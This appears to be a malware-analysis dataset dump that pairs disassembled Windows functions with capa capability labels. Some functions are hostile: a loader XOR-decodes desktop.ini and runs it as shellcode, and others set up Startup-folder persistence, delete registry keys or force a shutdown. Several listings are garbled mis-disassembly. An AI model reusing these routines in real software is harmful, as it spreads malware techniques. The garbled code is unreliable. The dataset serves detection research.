joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48d7e9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add ebx, ebp
sbb cl, byte [edi]
mov bh, 0xcb
shl ecx, 0x10
movzx eax, si
or ecx, eax
push ecx
push dword [ebp + 0xc]
inc dword [0xff08ffff]
adc eax, 0x1321f584
pop edi
dec eax
add byte [ebx + 0x48], dl
xor esi, esi
adc byte [ebp - 0x73], cl
or al, 0
add bh, bh
dec dword [eax]
mov esi, 0x5e5f57b0
mov ecx, esi
call 0x87402695
clc
or eax, 0x4c5810
mov eax, dword [ecx + eax*4]
mov edx, dword [eax]
mov eax, dword [ebp + 0xc]
and eax, 0x1824fff0
sub eax, 0xf000
je 0x48d897
sub eax, 0x20
je 0x48d879
sub eax, 0x10
je 0x48d870
sub eax, 0x30
je 0x48d860
sub eax, 0x244489c0
jne 0x48d89e
push eax
push eax
push edx
push 0xfffffffffffffffb
mov ecx, esi
call fcn.004861e4
jmp 0x48d88c
push 0xfffffffffffffff8
inc dword [eax]
push edx
push 0xfffffffffffffffd
mov ecx, esi
call fcn.004861e4
jmp 0x48d8c1
push 0xfffffffffffffff8
inc dword [eax]
push edx
push 0xfffffffffffffffa
jmp 0x48d857
push 0xfffffffffffffff8
inc dword [eax]
push edx
push 0xfffffffffffffffc
mov ecx, esi
call fcn.004861e4
call fcn.0048ad52
test byte [0x5e5f57c0], 1
jne 0x48d8c1
jmp 0x48d89e
mov byte [edx + 0x284], 1
clc
inc ebp
pop esi
mov ecx, dword [ebp + 0x10]
dec ebp
lea ecx, [eax + eax]
push ecx
push ecx
adc edi, eax
movzx esi, word [ecx]
push edi
mov edi, edx
test si, si
je 0x248cda0a
mov ebx, 0x95
mov dword [ebp - 4], 0x10
mov dword [ebp - 8], 0xf
cmp si, 0x70
jne 0x48d8fe
movzx eax, word [ecx + 2]
jmp 0x186cd9fb
cmp si, 0x7c
jne 0x48d916
js 0x48d983
or byte [eax], al
jl 0x8988da13
add ecx, 4
jmp 0x186cd9fe
mov eax, 0xfeb0085
cmp si, ax
je 0x1033d9e8
add eax, 5
cmp si, ax
je 0x186cd9e8
mov eax, 0xfeb0086
cmp si, ax
je 0x1033d9e8
add eax, 5
cmp si, ax
je 0x48d9e8
movzx edx, si
cmp edx, ebx
jg 0x48d995
je 0x48d9a6
cmp edx, 0x55
jl 0x48d9ad
cmp edx, 0x5a
jle 0x48d97c
cmp edx, 0x5d
jle 0x48d96c
cmp edx, 0x60
jle 0x48d97c
cmp edx, 0x61
jne 0x48d9ad
movzx eax, word [ecx + 4]
cmp ax, word [ebp - 4]
je 0x48d990
cmp ax, word [ebp - 8]
jmp 0x48d98e
movzx eax, word [ecx + 2]
push 0x10
pop esi
cmp ax, si
je 0x48d990
push 0xf
pop esi
cmp ax, si
jne 0x48d9ad
add ecx, 4
jmp 0x48d9ad
mov eax, edx
sub eax, 0xc7cf8b97
je 0x48d9a6
dec eax
dec eax
je 0x48d9a6
dec eax
dec eax
jne 0x48d9ad
movzx eax, word [ecx + 2]
lea ecx, [ecx + eax*2]
movzx eax, byte [edx + 0x4a5470]
lea ecx, [ecx + eax*2]
test edi, edi
je 0x48d9fe
cmp edx, 0x1d
jl 0x48d9fe
cmp edx, 0x1e
jle 0x48d9cd
lea eax, [edx - 0x21]
cmp eax, 0x19
ja 0x48d9fe
mov ax, word [ecx - 2]
mov edx, 0xfebfc00
and ax, dx
mov edx, 0xfebd800
cmp ax, dx
jne 0x48d9fe
add ecx, 2
jmp 0x48d9fe
movzx eax, word [ecx + 4]
cmp eax, dword [ebp + 8]
je 0x48da13
Function at 0x474f00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x474f42
call fcn.0047a885
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x474f42
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x474f39
xor eax, eax
jmp 0x474f4a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00474f50
pop edi
pop esi
pop ebx
ret 4

Function at 0x47adb5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47ade3
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47ae01
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047ad1b
jmp 0x47ae01
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47ae01
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047ad1b
test edi, edi
mov eax, edi
jne 0x47adeb
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403173
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040205e
and dword [ebp - 4], 0
cmp dword [0x40b260], 0
mov ebx, eax
jne 0x403224
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4032d5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4032d5
push eax
call fcn.00401fec
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b260], eax
call esi
push eax
call fcn.00401fec
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b264], eax
call esi
push eax
call fcn.00401fec
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b268], eax
call esi
push eax
call fcn.00401fec
pop ecx
mov dword [0x40b270], eax
test eax, eax
je 0x403224
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00401fec
pop ecx
mov dword [0x40b26c], eax
mov eax, dword [0x40b26c]
cmp eax, ebx
je 0x40327c
cmp dword [0x40b270], ebx
je 0x40327c
push eax
call fcn.00402067
push dword [0x40b270]
mov esi, eax
call fcn.00402067
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40327c
test edi, edi
je 0x40327c
call esi
test eax, eax
je 0x403273
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403273
test byte [ebp - 0xc], 1
jne 0x40327c
or dword [ebp + 0x10], 0x200000
jmp 0x4032b5
mov eax, dword [0x40b264]
cmp eax, ebx
je 0x4032b5
push eax
call fcn.00402067
pop ecx
test eax, eax
je 0x4032b5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4032b5
mov eax, dword [0x40b268]
cmp eax, ebx
je 0x4032b5
push eax
call fcn.00402067
pop ecx
test eax, eax
je 0x4032b5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b260]
call fcn.00402067
pop ecx
test eax, eax
je 0x4032d5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4032d7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404fde
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a9f8]
jne 0x404fe8
repz ret
jmp fcn.00406705
Function at 0x4081f0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40822f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40822f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40822f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40822f
cmp dword [ecx + 0x74], 0xe
jbe 0x40822f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x416cf1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x416d03
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x416cf4
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
Function at 0x43b644
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x43b3c1
mov edi, 0x872c77e3
call fcn.0043b67f
push edx
pop edx
sub edx, edx
sub edx, edx
xor dword [esi], ecx
sub edi, 1
and edx, edx
sub edi, edx
inc esi
dec edi
add edx, edx
sub edi, edx
cmp esi, eax
jne fcn.0043b644
mov edx, 0xb28767aa
sub edx, edx
ret

Function at 0x43b652
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x43b3c1
dec ebx
call fcn.0043b67f
add edi, edi
dec ebx
add ebx, 1
xor dword [eax], esi
or ebx, edi
inc eax
mov edi, 0xda756f1e
sub ebx, 0xb08e0457
cmp eax, ecx
jne fcn.0043b652
sub edi, ebx
inc edi
ret
Function at 0x10002dc3
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push edx
push ecx
push edi
push esi
mov dword [ebp - 0x110], 0
push 0x104
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
or eax, eax
je 0x10002e66
push 0x3a
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.1000212c
or eax, eax
je 0x10002e66
inc eax
mov byte [eax], 0x5c
inc eax
mov byte [eax], 0
push 0
pop dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov edx, dword [ebp - 0x10c]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
add edx, dword [ebp + 8]
push 0x19
push edx
call fcn.10002d89
add al, 0x61
mov byte [esi], al
inc esi
loop 0x10002e3e
mov dword [esi], 0x6578652e
add esi, 4
mov byte [esi], 0
mov dword [ebp - 0x110], 1
mov eax, dword [ebp - 0x110]
pop esi
pop edi
pop ecx
pop edx
pop ebx
leave
ret 0xc

Function at 0x10002e75
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push edx
push ecx
push edi
push esi
push 0x104
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
or eax, eax
je 0x10002f8e
push 0x3a
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.1000212c
or eax, eax
je 0x10002f8e
inc eax
mov byte [eax], 0x5c
inc eax
mov byte [eax], 0
push 0
pop dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov edx, dword [ebp - 0x10c]
push 0xffffffffffffffff
push edx
call fcn.10002d89
add eax, dword [ebp + 8]
mov dword [ebp - 0x124], eax
push 0xffff
push edx
call fcn.10002d89
movzx eax, ax
mov dword [ebp - 0x120], eax
push 0xffff
push edx
call fcn.10002d89
movzx eax, ax
mov dword [ebp - 0x11c], eax
push 0xffff
push edx
call fcn.10002d89
movzx eax, ax
mov dword [ebp - 0x118], eax
push 0xffffffffffffffff
push edx
call fcn.10002d89
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x114], eax
push 0xffff
push edx
call fcn.10002d89
movzx eax, ax
mov dword [ebp - 0x110], eax
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push str._08X__04X__04X__04X__08X_04X
push dword [ebp + 0x10]
call sub.user32.dll_wsprintfA
add esp, 0x20
pop esi
pop edi
pop ecx
pop edx
pop ebx
leave
ret 0xc

Function at 0x10002fde
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push 1
push 0
call sub.kernel32.dll_CreateMutexA
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x1000300d
push dword [ebp + 0x10]
call fcn.10002fba
mov eax, 0
jmp 0x10003020
cmp dword [ebp + 0xc], 1
jne 0x1000301b
push dword [ebp + 0x10]
call fcn.10002fba
mov eax, 1
leave
ret 0xc
Function at 0x100030cb
Capabilities:
Get disk information
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd34
mov edi, dword [ebp + 8]
mov byte [edi], 0
lea eax, [ebp - 0x200]
push eax
push 0x200
call sub.kernel32.dll_GetLogicalDriveStringsA
lea esi, [ebp - 0x200]
mov ecx, 8
cmp byte [esi], 0
je 0x10003151
push ecx
push esi
push esi
call sub.kernel32.dll_GetDriveTypeA
pop esi
cmp eax, 3
jne 0x10003145
push esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x238]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_GetVolumeInformationA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x238]
call fcn.10002a61
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
pop esi
push esi
call fcn.100021b2
add esi, eax
inc esi
pop ecx
loop 0x100030f6
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
or eax, eax
jne 0x10003198
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x238]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x238]
call fcn.10002a61
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
mov eax, 0x94
mov dword [ebp - 0x2cc], eax
lea eax, [ebp - 0x2cc]
push eax
call sub.kernel32.dll_GetVersionExA
or eax, eax
je 0x10003216
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x2c0]
call fcn.10002a61
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x2c8]
call fcn.10002a61
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x2c4]
call fcn.10002a61
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
push 0xa
lea eax, [ebp - 0x232]
push eax
push 0xa
push 0x400
call sub.kernel32.dll_GetLocaleInfoA
or eax, eax
je 0x1000323e
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
leave
ret 4

Function at 0x10003242
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0x10]
lea eax, [ebp - 4]
push eax
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10003296
push 0
pop dword [ebp - 8]
push 4
pop dword [ebp - 0xc]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x1000328e
push 1
pop dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, dword [ebp - 0x10]
leave
ret 0xc
Function at 0x100033c4
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push 0
pop dword [ebp - 4]
push 0
pop dword [ebp - 8]
mov ebx, 8
or ebx, 0x20019
or ebx, 0x20006
lea eax, [ebp - 8]
push eax
push ebx
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10003488
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryInfoKeyA
or eax, eax
jne 0x10003488
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10003480
mov dword [ebp - 4], eax
push dword [ebp - 0x10]
pop dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
jne 0x1000346d
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.100033c4
jmp 0x1000343b
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegDeleteKeyA
push dword [ebp - 4]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x1000348c
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
pop dword [ebp - 8]
push str.SeShutdownPrivilege
call fcn.1000335a
push str.NtShutdownSystem
push str.ntdll.dll
call fcn.1000329d
or eax, eax
je 0x100034c1
push 2
call eax
or eax, eax
jne 0x100034c1
push 1
pop dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x100034e4
mov eax, 1
or eax, 4
mov ebx, 0x20000
or ebx, 3
or ebx, 0x80000000
push ebx
push eax
call sub.user32.dll_ExitWindowsEx
leave
ret
Function at 0x100034e6
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push esi
push 0xa7
push dword [ebp + 8]
call fcn.10001a2c
mov eax, 0xa7
cmp eax, 0x9c
jb 0x100035cf
mov esi, dword [ebp + 8]
push 0x9c
pop dword [esi]
push dword [ebp + 8]
call sub.kernel32.dll_GetVersionExA
mov dword [ebp - 0x28], eax
or eax, eax
jne 0x1000353e
mov esi, dword [ebp + 8]
push 0x94
pop dword [esi]
push dword [ebp + 8]
call sub.kernel32.dll_GetVersionExA
cmp eax, 0
je 0x100035d4
push 0x1000f508
call sub.kernel32.dll_GetModuleHandleA
mov edx, eax
push str.GetNativeSystemInfo
push edx
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x10003565
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x24]
push eax
call dword [ebp - 0x2c]
jmp 0x1000356e
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GetSystemInfo
mov esi, dword [ebp + 8]
push word [ebp - 0x24]
pop word [esi + 0xa1]
push dword [ebp - 0xc]
pop dword [esi + 0xa3]
cmp dword [ebp - 0x28], 1
jne 0x10003593
mov al, 1
mov byte [esi + 0x9c], al
push 0x1000f508
call sub.kernel32.dll_GetModuleHandleA
mov edx, eax
push str.GetProductInfo
push edx
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x100035c8
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp + 8]
lea eax, [esi + 0x9d]
push eax
push 0
push 0
push dword [esi + 8]
push dword [esi + 4]
call dword [ebp - 0x2c]
mov eax, 1
jmp 0x100035d4
mov eax, 0
or eax, eax
jne 0x100035ea
push 0xa7
push dword [ebp + 8]
call fcn.10001a2c
mov eax, 0
pop esi
leave
ret 4
Function at 0x1000362f
Capabilities:
Copy file
Persist via run registry key
Query or enumerate registry value
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10003703
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push str.Startup
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x100036fb
push dword [ebp + 0xc]
call sub.kernel32.dll_lstrlenA
add eax, dword [ebp - 8]
add eax, 3
push eax
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x100036fb
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 0
push 0
push str.Startup
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x100036fb
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
dec eax
mov word [eax], 0x5c
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call sub.kernel32.dll_lstrcatA
push 0x80
push dword [ebp - 0xc]
call sub.kernel32.dll_SetFileAttributesA
push 0
push dword [ebp - 0xc]
push dword [ebp + 8]
call sub.kernel32.dll_CopyFileA
mov dword [ebp - 0x10], eax
push 4
push dword [ebp - 0xc]
call sub.kernel32.dll_SetFileAttributesA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
cmp dword [ebp - 0x10], 0
je 0x1000370f
cmp dword [ebp + 0x10], 0
jne 0x10003724
cmp dword [ebp - 0xc], 0
je 0x10003724
push dword [ebp - 0xc]
call sub.kernel32.dll_GlobalFree
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
leave
ret 0xc

Function at 0x100039e5
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
pop dword [ebp - 0xc]
cmp dword [ebp + 0xc], 0xffffffff
je 0x10003a46
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.10004239
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.10003961
cmp eax, 1
jne 0x10003a3e
push dword [ebp + 8]
call fcn.10003856
or edx, edx
je 0x10003a3e
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_ReadFile
push 1
pop dword [ebp - 0xc]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
leave
ret 8

Function at 0x10003a84
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
pop dword [ebp - 4]
cmp dword [ebp + 0xc], 0xffffffff
je 0x10003ad4
cmp dword [ebp + 0x10], 4
jne 0x10003aa9
push 2
push 0
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_SetFilePointer
push dword [ebp + 8]
call fcn.10003856
or edx, edx
je 0x10003acc
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_WriteFile
push 1
pop dword [ebp - 4]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x100042c5
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
lea eax, [ebp - 0x400]
push eax
push 0
push 0x1000f613
push dword [ebp + 8]
call sub.kernel32.dll_GetTempFileNameA
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10004322
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, 0
leave
ret 4
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, 1
leave
ret 4

Function at 0x10004364
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
pop dword [ebp - 0xc]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100043b2
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
leave
ret 0xc

Function at 0x100043b9
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0xc]
push 0
pop dword [ebp - 8]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10004429
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x1000441c
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
jmp 0x10004421
push 0
pop dword [ebp - 8]
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
leave
ret 4

Function at 0x10004451
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 1
push 0
push 0
push dword [ebp + 8]
push 0
push 0
call sub.shell32.dll_ShellExecuteA
leave
ret 4